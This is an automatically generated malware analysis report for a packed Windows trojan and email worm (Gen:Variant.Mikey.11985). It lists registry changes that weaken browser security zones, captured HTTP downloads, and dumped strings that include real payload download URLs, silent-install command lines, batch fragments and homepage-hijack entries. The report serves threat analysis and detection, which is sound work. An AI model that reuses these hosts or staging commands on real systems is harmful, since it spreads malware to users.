Gen.Variant.Mikey.11985_19dbeae3a7

by malwarelabrobot on November 11th, 2015 in Malware Descriptions.

Gen:Variant.Mikey.11985 (B) (Emsisoft), Gen:Variant.Mikey.11985 (AdAware), Trojan.Win32.FlyStudio.FD, mzpefinder_pcap_file.YR, GenericEmailWorm.YR (Lavasoft MAS)
Behaviour: Trojan, Worm, EmailWorm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 19dbeae3a787a61f5d606460dce055c5
SHA1: f85beb0efb7912f90d9a0cf37d3d40dff1741718
SHA256: 9ab65b66d6280ebb664ae99d9ba450f076dd879125ff3ba4f76073837b33229b
SSDeep: 1536:WG0RwpbLLWVoxUTr sv/9qBf8sb3Er4RJUqP8aNiPu0nd0nW8We3:WP pbPWV83QB5tWq0l7dEv3
Size: 114228 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: ASPackv212, UPolyXv05_v6
Company: no certificate found
Created at: 2015-03-19 15:41:38
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Behaviour Description
EmailWorm Worm can send e-mails.


Process activity

The Trojan creates the following process(es):

%original file name%.exe:1088

The Trojan injects its code into the following process(es):

pack.exe:264

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1088 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

The process pack.exe:264 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\zy[1] (272640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\uc1[1] (930564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\ky[1] (87338 bytes)

Registry activity

The process %original file name%.exe:1088 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 66 54 84 AC 71 B0 33 C5 0C 80 95 E4 55 4E A9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process pack.exe:264 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 D6 96 34 9F 59 1C F6 D5 30 7E 1E 4D F8 62 A3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 2.6.0.0
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.6.0.0
File Description: update
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 176128 71168 5.54078 477b72a8a3d39ce394283c4e7f3b1ece
.rdata 180224 24576 7680 5.45775 e84022fb32c23e63bc2a811b8b63fdc1
.data 204800 188416 5632 5.44105 064ca3081e4bc5be70791b085d0c4084
.rsrc 393216 20480 1024 1.97035 6d49787551d0df21e09862a8b7a1d89a
.aspack 413696 24576 21504 2.99287 364a3ddfa584f9ce9a9390ea969e62f7
.adata 438272 4096 0 0 d41d8cd98f00b204e9800998ecf8427e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://218.30.115.254/dreamcrydc
hxxp://qiniunor.xdwscache.ourglb0.com/p
hxxp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
hxxp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
hxxp://blog.sina.com.cn/dreamcrydc
hxxp://deng.qiniudn.com/p 115.231.158.70
z11.cnzz.com 1.122.192.16


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 180.153.147.73
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 00:50:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8zb mod_jk/1.2.31
Content-Disposition: attachment; filename="uc1"
Accept-Ranges: bytes
x-cdmi-object-size: 10620702
x-cdmi-create-time: 2015-10-29 11:48:02
Content-Length: 10620702
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream;charset=UTF-8
........Q...list_soft.xml.............................................
......................................................................
......................................................................
..............................................................t...blue
box.png...............................................................
......................................................................
......................................................................
..............................................g...ucweb.png...........
......................................................................
......................................................................
......................................................................
...............................0O.BlueBoxSetup.exe....................
......................................................................
......................................................................
......................................................................
..............P.}.Browser_V3.2.2937.0_f_4070_(Build14120411).exe......
......................................................................
......................................................................
......................................................................
.<?xml version="1.0" encoding="UTF-8" ?>..<Profile>..    &
lt;SoftwareList SuitLabel="............;QQ......;360......;">..    
    <Group GroupId="0" name="............">..            <
<<< skipped >>>


GET /p HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: deng.qiniudn.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 01:17:20 GMT
Server: nginx/1.4.4
Content-Type: application/x-msdownload
Content-Length: 479056
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="p"
Content-Transfer-Encoding: binary
ETag: "FiRROe98XfzKJuEHdzWe93IHPNu0"
Last-Modified: Mon, 09 Nov 2015 13:52:57 GMT
X-Log: mc.g;IO:2
X-Reqid: NiAAAE_F3aJOLxUU
X-Qiniu-Zone: 0
X-Via: 1.1 xxxz56:8107 (Cdn Cache Server V2.0), 1.1 wenzhou152:3 (Cdn Cache Server V2.0)
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
....................................r.......r...........?.......*.....
..................f...................6.......Rich............PE..L...
[email protected]....................@.......................
... %.....c.........................................%./.....$..\......
.....0..P.............................................................
...............................text.....$.............PEC2^O...... ...
.rsrc....p....$..n.................. .................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................x.e.Pd.5....d.%....3...PE
Compact2....9.Q..)y.<...v....09../-R..."4...-.R...T.3..w.!.N"..A...
.C.q....]..5..q.h!1,.;.tZ..r....B.$...X.../1..z.....7xq..)qH..y..,..h.
:.Z.94m....v...U.......Y........5.W9`.....a..>.Y.._.......@f.'.T...
..vQ.^...:........S.......$:qy....y.Cz...o...b4.....m..`..l.....\e.O..
mzm..5..\p.r5..WC.{...Z.R%..Y...=..;M.P=.:.4....."X.>..r....1.%.<
;...g=.3.wA...e..Jd..K.n....\..x...S`%D.q.g......4V...`...[1.{......Sj
.J......M.=..r'.K.E.R..v...U=.-v.cMI..9.r .Ks?..S.J.#.^:B..1..2...
<<< skipped >>>


GET /dreamcrydc HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: blog.sina.com.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.2.8
Date: Tue, 10 Nov 2015 01:17:18 GMT
Content-Type: text/html
Content-Length: 12030
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Cache-Control: no-cache
Expires: Tue, 10 Nov 2015 01:17:17 GMT
Last-Modified: Sun, 08 Nov 2015 19:31:31 GMT 8
DPOOL_HEADER: 10.55.27.43
SINA-LB: aGwuOTAuc2c1LmphLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS: ZGFmOWU0Y2UgMCAxIDEgMTAgMTE4Cg==
Age: 135947
X-Cache: HIT from blog-front006.blog.ja.sinanode.com
Cache-Control: 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-equiv
="Content-Type" content="text/html; charset=utf-8" />.<title>
......DC_............</title>.<meta name="keywords" content="
......DC_............,......DC" />.<meta name="description" cont
ent="......DC_............,......DC,........." />.<meta http-equ
iv="X-UA-Compatible" content="IE=EmulateIE7" />.<meta http-equiv
="mobile-agent" content="format=html5; url=hXXp://blog.sina.cn/dpool/b
log/u/3945174853">.<meta http-equiv="mobile-agent" content="form
at=wml; url=hXXp://blog.sina.cn/dpool/blog/ArtList.php?uid=3945174853&
vt=1">.<!...[if lte IE 6]>.<script type="text/javascript"&
gt;.try{.document.execCommand("BackgroundImageCache", false, true);.}c
atch(e){}.</script>.<![endif]...>.<script type="text/ja
vascript">.window.staticTime=new Date().getTime();.</script>.
<link rel="pingback" href="hXXp://upload.move.blog.sina.com.cn/blog
_rebuild/blog/xmlrpc.php" />.<link rel="EditURI" type="applicati
on/rsd xml" title="RSD" href="hXXp://upload.move.blog.sina.com.cn/blog
_rebuild/blog/xmlrpc.php?rsd" />.<link href="hXXp://blog.sina.co
m.cn/blog_rebuild/blog/wlwmanifest.xml" type="application/wlwmanifest 
xml" rel="wlwmanifest" />.<link rel="alternate" type="applicatio
n/rss xml" href="hXXp://blog.sina.com.cn/rss/3945174853.xml" title
<<< skipped >>>


GET /fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 180.153.147.73
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 00:50:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8zb mod_jk/1.2.31
Content-Disposition: attachment; filename="ky"
Accept-Ranges: bytes
x-cdmi-object-size: 7584192
x-cdmi-create-time: 2015-10-31 19:43:32
Content-Length: 7584192
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream;charset=UTF-8
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........Z\.;;2H;;2H
;;2H..\H:;2H.t.H3;2H2C.H.;2H2C.Ht;2H%i.H?;2H2C.H.:2H.._H*;2H;;3H292H..
IH.;2H2C.H.;2H2C.H:;2H%i.H:;2H;;.H:;2H2C.H:;2HRich;;2H........PE..L...
..)V.................n....b...................@.......................
[email protected][email protected]...:u..L...h....0..P.[.....
......s.......s.....................................h...@.............
...............................text...~l.......n.................. ..`
.rdata...............r..............@[email protected]....`...R...N........
[email protected].[..0....[.................@[email protected]...!....s.."..
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.M..E.P.M..=.....]....
......U......M..E.P.M.. ........t#.U.R.M..h....M. .Q.U.R.M..&.........
E.... H.;M.v..U..B..E..M.;A.s.......}..vY.U..B..E..E.j..M.Q.M.........
..t8.E.P.M.Q.U..E..J. H.Q.M.......U..B.P.] ......E.P.M... ...E...]....
....U..Q.M..E.P.@!.....P.M.Q.M........].............U..Q.M..E.P.M..}..
.P.M..4....E...]..............U..Q.M..E.P.M..M....M..A.P.M.......E...]
........U..Q.M..M........]..............U..Q.M..E..@...]..............
..U..Q.M.j..E.P.M........]........U......M..E..H.;M.w5.U..B.;E.t*.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

pack.exe_264:

.text
`.rsrc
t$(SSh
~%UVW
.tTPV
FTPjK
FtPj;
F.PjRWj
u.WWj
u.VVj
u$SShe
user32.dll
urlmon
ole32.dll
shell32.dll
MsgWaitForMultipleObjects
RegOpenKeyA
RegEnumKeyA
URLDownloadToFileA
D:\dream
D:\dream\win1.log
D:\dream\winky.log
360tray.exe
D:\dream\winzy.log
C:\Users\Public\Desktop\UC
%Documents and Settings%\All Users\
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Windows
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\
D:\dream\b2.bat
D:\dream\2k
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe -s1
2345pic_k1252705.exe
C:\Users\
%Documents and Settings%\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
D:\dream\1.bat
hXXp://z4.cnzz.com/stat.htm?id=1254275459
WinHttp.WinHttpRequest.5.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
D:\dream\ky
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\ky.bat
hXXp://z13.cnzz.com/stat.htm?id=1256550373
D:\dream\zy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
D:\dream\lgezy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueResource.bpk
C:\Users\Public\Desktop\hao123
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w72=Microsoft\Windows\Start Menu"
"%USERPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%USERPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
D:\dream\zy.bat
hXXp://z11.cnzz.com/stat.htm?id=1256550363
D:\dream\uc1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
D:\dream\uc2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
D:\dream\uc3
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
D:\dream\uc4
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
D:\dream\uc5
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
D:\dream\uc6
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
D:\dream\lgeuc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
D:\dream\uc.bat
<BrowserItem Process="iexplore.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
<BrowserItem Process="chrome.exe" Title="hao123
<BrowserItem Process="safari.exe" Title="hao123
<BrowserItem Process="TheWorld.exe.exe" Title="hao123
<BrowserItem Process="sogouexplorer.exe" Title="hao123
<BrowserItem Process="qqbrowser.exe" Title="hao123
<BrowserItem Process="baidubrowser.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
<BrowserItem Process="2345explorer.exe" Title="360
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
<BrowserItem Process="maxthon.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
<BrowserItem Process="ucbrowser.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
<BrowserItem Process="firefox.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
<BrowserItem Process="hao123Juzi.exe" Title="hao123
<BrowserItem Process="Juzi.exe" Title="hao123
<BrowserItem Process="hao123browser.exe" Title="hao123
<BrowserItem Process="liebao.exe" Title="hao123
<BrowserItem Process="360se.exe" Title="360
<BrowserItem Process="360chrome.exe" Title="360
C:\ProgramData\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
D:\dream\lgeqq
D:\dream\qq.bat
hXXp://z11.cnzz.com/stat.htm?id=1256729438
D:\dream\js1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
D:\dream\js2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
D:\dream\duba_1_276.exe
hXXp://z13.cnzz.com/stat.htm?id=1256627376
D:\MM-liao9728.exe
D:\MM-liao
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z11.cnzz.com/stat.htm?id=1254275435
%Ui,)
tüV
1.2.18
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
portuguese-brazilian
MSVFW32.dll
AVIFIL32.dll
iphlpapi.dll
SHLWAPI.dll
MPR.dll
WINMM.dll
WS2_32.dll
VERSION.dll
RASAPI32.dll
GetProcessHeap
WinExec
GetWindowsDirectoryA
GetCPInfo
KERNEL32.dll
GetKeyState
GetKeyboardLayout
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
USER32.dll
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GDI32.dll
WINSPOOL.DRV
comdlg32.dll
RegCloseKey
RegOpenKeyExA
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
OLEAUT32.dll
COMCTL32.dll
WININET.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
(%d-%d):
%ld%c
(*.avi)|*.avi
WPFT532.CNV
WPFT632.CNV
EXCEL32.CNV
write32.wpc
Windows Write
mswrd632.wpc
Word for Windows 6.0
wword5.cnv
Word for Windows 5.0
mswrd832.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
html32.cnv
Service Pack %d
Windows 2003
Windows XP
Windows 2000
Windows NT
Windows ??
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98
Windows 95 OSR2
Windows 95 SP1
Windows 95
Windows CE
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows NT
KERNEL32.DLL
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
Microsoft .NET Framework 2.0 Service Pack 1
x86 9.0.30729.4148
D:\dream\pack.exe
<assemblyIdentity version="1.0.0.0" name=".add"/>
????????<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
kernel32.dll
(*.*)
5.2.1.0

pack.exe_264_rwx_003F0000_00003000:

The procedure %s could not be located in the DLL %s.
The ordinal %d could not be located in the DLL %s.

pack.exe_264_rwx_00401000_0024A000:

t$(SSh
~%UVW
.tTPV
FTPjK
FtPj;
F.PjRWj
u.WWj
u.VVj
u$SShe
user32.dll
urlmon
ole32.dll
shell32.dll
MsgWaitForMultipleObjects
RegOpenKeyA
RegEnumKeyA
URLDownloadToFileA
